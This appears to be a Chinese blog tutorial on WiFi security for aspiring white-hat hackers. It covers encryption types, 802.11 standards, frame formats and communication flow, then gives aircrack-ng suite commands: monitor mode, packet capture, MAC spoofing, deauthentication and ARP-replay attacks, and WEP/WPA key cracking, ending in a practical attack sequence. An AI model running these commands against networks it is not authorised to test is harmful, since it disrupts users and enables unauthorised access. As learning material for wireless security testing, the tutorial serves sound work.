白帽养成:WiFi(无线)学习

    技术2022-07-10  176

    无线技术

    1 wifi加密方法2 无线重要协议3 无线网络运行模式4 linux无线基础命令5 -802.11协议内容分析-6 帧类型7 无线通信过程8 实践锻炼9 密码破解10 实战

    1 wifi加密方法

    1.WEP加密

    最不安全的加密充满漏洞

    2.WPA/WPA2加密

    企业常常使用-需要服务器-个人用户使用不方便

    3.WPA/WPA2 PSK加密

    个人用户常用-默认简单-现在使用率高

    4.WPA3

    最新-最安全

    2 无线重要协议

    1.802.11(1997)

    发布早 速率1-2M

    2.802.11a(1999)

    拥有2.4GHz(干扰多,范围大) 拥有5GHz(干扰少,范围小) 速率54M 每个信道20MHz

    3.802.11b(1999)

    拥有2.4GHz(干扰多,范围大) 拥有5GHz(干扰少,范围小) 速率5-11M 每个信道22MHz

    美国1-11信道 欧洲1-13信道 日本1-14信道

    4.802.11g(2003)(出现设备不满协议足全局降速到802.11b)

    拥有2.4GHz(干扰多,范围大) 速率54M 每个信道20/22MHz 调制技术升级

    5.802.11n(2009)

    拥有2.4GHz(干扰多,范围大) 拥有5GHz(干扰少,范围小) 速率300-600M 每个信道20/40MHz

    3 无线网络运行模式

    1.AP会不断向外发送广播SSID

    2.用户在连接到无线网路后也后向外发送一个SSID

    AP-access point(接入点相当于信号转移塔-将无线接入到以太网中-其也是无线路由器之类的统称) SSID-service set identifier(服务集标识符-WIFI名称)

    3.无线工作图 名词理解 STA(WLAN中的客户端) ESSID(Extend Service Set identifier-扩展服务集)

    包含BSSID 一般为WIFI名称

    BSSID(Basic Service Set-基本服务集)

    AP+若干无线工作站 相当于无线MAC地址

    IBSS(Independent Basic Service Set-独立服务集)

    至少俩个STA直接通信 其中需有一个STA充当AP的角色

    WDS(Wireless Distribution System-无线分布式系统)

    通过无线网络的多个AP组成网络

    bridging(桥接)-只有AP间才可以通信(连接) Repeating(中继)-所有AP可以同用户通信(连接)

    4 linux无线基础命令

    iwconfig

    查看无线信息(类似ifconfig)(不丰富)

    iw list

    具体查看当前网卡的详细配置(丰富)

    iw dev wlan0 scan

    iw(无线命令)dev(装置-device)wlan0(网卡号)scan(扫描-scan)

    iw dev wlan0 interface add wlan0mon type monitor

    iw(无线命令)dev(装置-device)wlan0(网卡号)interface(连接)add(增加)wlan0mon(侦听名称)type(格式)monitor(侦听)

    ifconfig wlan0mon up ifconfig wlan0 up

    打开无线侦听/无线网卡(如果发现能找到网卡/侦听不能用可能因为没有打开)

    iw dev wlan0mon set channel 11

    将wlan0mon工作在11信道

    iwlist wlan0mon channel

    查看wlan0mon所处信道

    5 -802.11协议内容分析-

    一 header (1)Frame control

    1.protacal version

    802.11协议版本 数字[0-3](常为0)

    2.type

    management(管理帧-数字表示-0) control(控制帧-数字表示-1) date(数据帧-数字表示-2)

    3.subtype

    每个“type”对应多个子类型

    4.to DS/ from DS(distributed system)

    0-0表示IBSS-两个STA通信(其中一个充当AP) 0-1表示AP向STA传递 1-0表示STA向AP传递 1-1表示WDS的桥接两个AP进行通信传递 记忆方法1-AP 0-STA

    DA-destination address-目的地址 RA-receiver address-接受端地址 SA-source address-来源地址 TA-transmitter address-传输者地址(AP)

    5.more fragments(更多的分裂-----分段标志)

    表示是否还有后续帧(数据过大可能被分帧) 0-没有 1-有

    6.retry(重试)

    1-重传 0-不重传 理论--------发出数据接受端没有响应-数据会重传

    7.power management(电源管理)

    1-STA处于省电模式 0-正常模式 理论-------省电模式STA不接受数据-数据由AP缓存

    8.more date(更多数据)

    前提STA处于省电状态 1-唤醒STA-STA会向AP发送帧(AID)取回在AP的数据(AP有更多广播等数据传输也会) 0-无此进程

    9.protected flag(受到保护标志)

    1-MSDU(mac的服务数据单元)被加密或者PSK的身份验证帧 0-无数据

    10.order flag(顺序标志)

    1-按严格的顺序发送 0-无要求


    (2)Duration/ID(持续时间)

    control使用该字段

    类型为ps poll(type-1 subtype-10)表示STA关联的AID(association identity-关联标识)–该模式常常为STA为省电状态下STA拿回留在AP的缓存,AP按照AID进行发回)

    其它模 式为侦听机制,表示接受下一帧需要的时间间隔

    (3)sequence control(顺序控制)

    包含sequence number(数据包的顺序序号) 和 fragment number(数据包的分段序号)

    sequence number-每个帧的编号[0-4095]

    fragment numbe-标识分段位置顺序的标号[0-15]

    二 DATE

    Frame body(结构框架—frame(框架))

    未加密长度2304

    WEP-2312字节(增加8)

    TKIP(WPA1)-2324字节(增加20)

    CCMP(WPA2)-2320字节(增加16)

    control没有frame body

    三 FCS(帧校验)

    发送端对MAC包头和Frame body进行CRC计算-同接收端相同发送ACK-不同会被丢弃(指针对单播帧才会验证) 注:wireshark取消了FCS

    6 帧类型

    1.control frame(控制帧)

    1.ACK(Acknowledge -确认)

    确认帧-收到后返回ACK表示确认

    子类型-13

    2.ps-poll

    发射前放大信号发送-接受后放大还原信号

    表示STA关联的AID(association identity-关联标识)–该模式常常为STA为省电状态下STA拿回留在AP的缓存,AP按照AID进行发回)

    子类型-10

    3.RTS/CTS(request/clear)

    RTS-请求 CTS-空闲状态

    降低冲突发生的可能(如1设备同2设备通信–远处存在设备3同设备2也进行通信,设备1和设备3互相不知道对方存在,所以当设备1和3一同向设备2通讯用造成冲突,而RTS/CTS可避免)

    传输长帧用短帧不用(长短无明确说明)

    正式通信前的请求应答机制

    子类型-11

    2.management frame(管理帧)

    用于协商和控制AP和STA之间的关系

    1.beacon

    AP发送广播帧宣告无线存在(1秒10次)

    可以隐藏不发beacon帧

    子类型-8

    2.probe request(探测请求)

    STA扫描AP(发现连接过的与没有连接过的)

    3.probe response(探测响应)

    AP返回响应帧

    4.authentication(身份验证)

    1-共享密钥身份验证 0-开放系统身份验证

    此类型下status code显示成功/失败

    5.association request(关联请求)

    此类型下status code显示成功/失败

    6.disassociation request/deauthentication request(解除关联请求)

    内容多,不同情况解除关联

    7.ATIM frame

    当STA充当AP向处于省电状态的STA唤醒传输时发送ATIM帧

    3.Date frame(数据帧)

    1.Date

    传输数据

    2.null Data(空数据)

    STA用于声明自己即将进入省电状态

    7 无线通信过程

    1.probe(探测)

    ①过程

    STA先发送probe request

    AP发送probe respond

    ②形式 WEP探测

    beacon会声明其使用WEP加密

    AP响应也会声明其使用WEP加密

    WPA探测

    beacon会声明其使用WPA加密

    AP响应也会声明其使用WPA加密

    2.authentication/association(确认----身份验证;关联)

    STA先发送open验证查看其是否为开放验证,被拒绝后再发送PSK询问

    Ⅱ形式 WEP OPEN认证

    WEP只做对数据的加密

    用户密钥输入正确与否都可以上线进入-但是输入错误的密钥传输的数据会被接收端丢弃

    WEP PSK认证(共享密钥)

    WEP既对数据加密又对作为认证方式

    密钥输入错误无法上线

    认证过程:①STA发认证请求-②AP返回随机challenge消息-③STA使用PSK加密的challenge消息返回AP-④AP将其发出的challenge同STA发出的随机challenge进行对比相同则验证成功

    8 实践锻炼

    Ⅰ airmon-ng

    1 airmon-ng

    检查驱动和芯片等信息

    2 airmon-ng check

    检查有问题进程(可能影响使用改工具)

    3 airmon-ng check kill

    可以将有问题的进程关闭

    4 airmon-ng start wlan0

    启动wlan0的无线侦听模式

    5 airmon-ng start wlan0 11

    启动wlan0的无线侦听模式在第11信道

    6 airmon-ng start wlan0 5

    让wlan0工作在第5信道

    7 airmon-ng stop wlan0mon

    关闭侦听模式

    Ⅱ airodump-ng(无线抓包-充分筛选过) 1 airodump-ng wlan0mon

    开始抓包(抓的经过整理的包)

    2 airodump-ng wlan0mon --bssid a1:b1:c1:d1:d1:f1

    抓指定AP的信息及其连接进程

    ariodump-ng wlan0mon -w xxx.cap

    保存到xxx文件

    注: 1 ESSID没有名称显示的是length时,说明该ESSID隐藏起来了 2 强度为-1时表示信号极差(过远) 3 lost-最近10秒丢包数量

    Ⅲ 修改mac地址 macchanger -m 11:11:11:11:11:11 wlan0

    把wlan0 的mac地址改为11:11:11:11:11:11

    Ⅳ aireplay-ng 1 aireplay-ng -9 wlan0mon

    检查无线网卡注入包的情况(多次测试)

    2 aireplay-ng -9 wlan0mon -e ghj -a 11:11:11:11:11:11

    -e ESSID -a MAC

    向11:11:11:11:11:11注入包(用于向隐藏AP使用)

    注: 1 开放网络无法连接无法连接可能为MAC地址绑定了 2 连接① 把自己主机MAC改为合法的MAC即可(缺点:网络质量差丢包严重)

    3.aireplay-ng -0 10 -a 11:11:11:11:11:11 -c 22:22:22:22:22:22 wlan0mon

    使用关联断开攻击

    -a 目标AP(MAC)

    -c 目标(要断开的STA的MAC)

    wlan0mon 使用的无线网卡(侦探)

    4.aireplay-ng -0 10 -a 11:11:11:11:11:11 wlan0mon

    断开与-a的MAC(AP)关联的所有STA

    5.aireplay-ng -1 40 -e wifiname -y jk.xor -a 11:11:11:11:11:11 -h 22:22:22:22:22:22

    注入包关联认证

    -1关联认证注入包

    -e ESSID

    -y 共享密钥的密钥流

    -a 目标AP的MAC

    -h 需要关联的STA

    aireplay-ng -3

    6.aireplay-ng -3 -b 11:11:11:11:11:11 -h 22:22:22:22:22:22 wlan0mon

    arp重放攻击

    目的取得arp反馈包里的弱IV值(抓到20万左右去破解)

    注: 1 aireplay 里面无线网卡所在信道要和所在AP信道一致 2 为保证无线网卡信道固定,需要在airodump中用–channel X 固定信道 3 aireplay -ng -1 只能用于WEP身份认证注入,对于WPA2无效 4 对方MAC固定 aireplay-ng -1身份认证也无效。–可将自己的替换为合法的再攻击 5 aireplay -ng -0 需要攻击者同被攻击所用无线网卡802.11协议一致 6 aireplay -ng如果无法攻击所有STA就只能进行指定客户端攻击

    9 密码破解

    1 WEP

    ①通过airodump抓到并保存xor文件(通过 -0断关联关机让STA重连获得)

    ②利用XOR导入 -1攻击进行身份认证

    ③关联成功利用ARP重放攻击得到AP发来大量弱IV(数量够20万)

    ④aircarck -ng X.cap(X为airodump抓到保存的文件名字)

    2 WPA

    ①通过airodump抓到握手包文件(通过 -0断关联关机让STA重连获得)

    ④aircarck -ng X.cap(X为airodump抓到保存的文件名字)

    10 实战

    #注意确保连接无线网卡,若有无线鼠标和无线网卡注意是否影响

    ifconfig wlan0 up(打开无线连接)airmon-ng start wlan0 (打开无线网卡监听模式,开前别让无线网卡连接网络,失败了要kill进程)airodump-ng wlan0mon (开始监听,如何什么都没有重启无线网卡)

    #发现目标信道,准备重启侦听模式,切入指定信道

    airmon-ng stop wlan0mon(关闭侦听模式)airmon-ng start wlan0 x(x表示信道)airodump-ng wlan0mon --channel x(固定信道,为了下面攻击复制mac地址)aireplay-ng -0 xxx -a aa:aa:aa:aa:aa(xxx表示攻击次数,-a 表示bssid aa为mac地址)
    Processed: 0.012, SQL: 9